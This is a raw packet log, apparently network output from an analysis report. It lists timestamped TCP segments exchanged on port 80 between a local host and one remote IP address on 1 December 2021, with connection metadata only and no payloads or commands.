Dec 1, 2021 10:04:55.185306072 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185323954 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185338974 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185342073 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185359955 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185372114 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185376883 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185395002 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185404062 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185410976 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185429096 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185436964 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185445070 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185461998 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185466051 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185480118 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185496092 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185497999 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185514927 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185533047 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185549974 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185553074 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185568094 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185585976 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185604095 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185606003 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185621977 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185637951 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185638905 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185657024 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185673952 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185674906 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185693026 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185708046 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185709000 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185726881 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185744047 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185751915 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185761929 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185770988 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185779095 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185796022 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185811996 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185827971 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185831070 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185844898 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185861111 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185878038 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185878992 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185895920 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185910940 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185910940 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185928106 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185944080 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185946941 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185961008 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185977936 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.185977936 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.185995102 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.186012030 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.186012030 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.186028957 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.186043978 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.186044931 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.186060905 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.186077118 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.186083078 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.186094046 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.186110973 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.186116934 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.186129093 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.186145067 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.186146021 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.186162949 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.186178923 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.186187029 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.186197042 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.186214924 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.186223984 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.186232090 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.186249018 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.186260939 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.186266899 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.186285019 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.186291933 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.186301947 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.186321020 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.186364889 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.196448088 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.196474075 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.196486950 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.196500063 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.196621895 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.196672916 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.202594995 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.202627897 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.202768087 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.208825111 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.208879948 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.209069967 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.218652964 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.218662977 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.218722105 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.218822002 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.221720934 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.230618000 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230654001 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230667114 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230684042 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230701923 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230719090 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230736017 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230752945 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230770111 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230786085 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230801105 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230817080 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230833054 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230849028 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230848074 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.230865002 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230885029 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230902910 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230907917 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.230921030 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230937958 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230952024 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.230954885 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.230988026 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.231014013 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.244059086 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244115114 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244134903 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244160891 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244185925 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244209051 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244232893 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244256020 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244280100 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244303942 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244317055 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.244327068 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244349957 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244379044 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244389057 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.244410038 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244435072 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.244437933 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244460106 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244469881 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.244482994 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244507074 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244530916 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244530916 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.244555950 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244566917 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.244582891 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244609118 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244611025 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.244632959 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244656086 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244657993 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.244682074 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244705915 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244710922 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.244730949 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244754076 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244755030 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.244790077 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244815111 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244815111 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.244841099 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244880915 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244900942 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.244903088 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244923115 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244932890 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.244946957 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244966984 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.244968891 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.244988918 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.245009899 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.245011091 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.245069981 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.276324034 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.276374102 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.276545048 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.279356003 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279395103 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279412985 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279429913 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279452085 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279474974 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279499054 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279521942 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279545069 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279567957 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279572964 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.279592037 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279618025 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279618979 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.279642105 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279655933 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.279666901 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279690981 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279699087 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.279714108 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279728889 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.279740095 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279762030 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279767036 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.279784918 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279808044 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279829979 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279838085 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.279854059 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279881001 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279881001 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.279906034 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279915094 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.279930115 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279952049 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279961109 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.279974937 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.279999971 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280008078 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280023098 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280045986 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280067921 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280077934 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280091047 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280113935 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280127048 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280134916 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280157089 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280167103 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280181885 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280195951 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280205965 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280229092 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280242920 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280246019 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280270100 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280292034 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280292988 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280313969 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280323029 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280337095 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280359030 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280368090 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280380964 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280400038 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280414104 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280422926 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280443907 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280452967 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280464888 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280486107 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280486107 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280507088 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280528069 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280548096 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280555010 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280567884 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280584097 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280594110 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280606985 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280628920 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280642033 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280651093 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280673027 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280690908 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280694962 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280718088 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280726910 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280739069 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280756950 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280760050 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280783892 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280791044 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280811071 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280833006 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280837059 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280874968 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280889034 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.280896902 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280919075 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.280956030 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.288573027 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.288611889 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.288630009 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.288646936 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.288670063 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.288692951 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.288717031 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.288738012 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.288760900 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.288777113 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.288783073 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.288805962 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.288830996 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.288872004 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.288892984 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.288893938 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.288916111 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.288940907 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.288945913 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.288963079 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.288975954 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.288986921 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.289007902 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.289021969 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.289030075 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.289067030 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.302582979 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.302634001 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.302655935 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.302675009 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.302697897 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.302721977 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.302746058 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.302767992 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.302792072 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.302817106 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.302814007 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.302843094 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.302870989 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.302894115 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.302896976 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.302922964 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.302944899 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.302958965 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.302966118 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.302989960 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.302995920 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.303015947 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303040028 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303060055 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:55.303065062 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:55.303088903 CET	80	49826	95.213.165.249	192.168.2.3
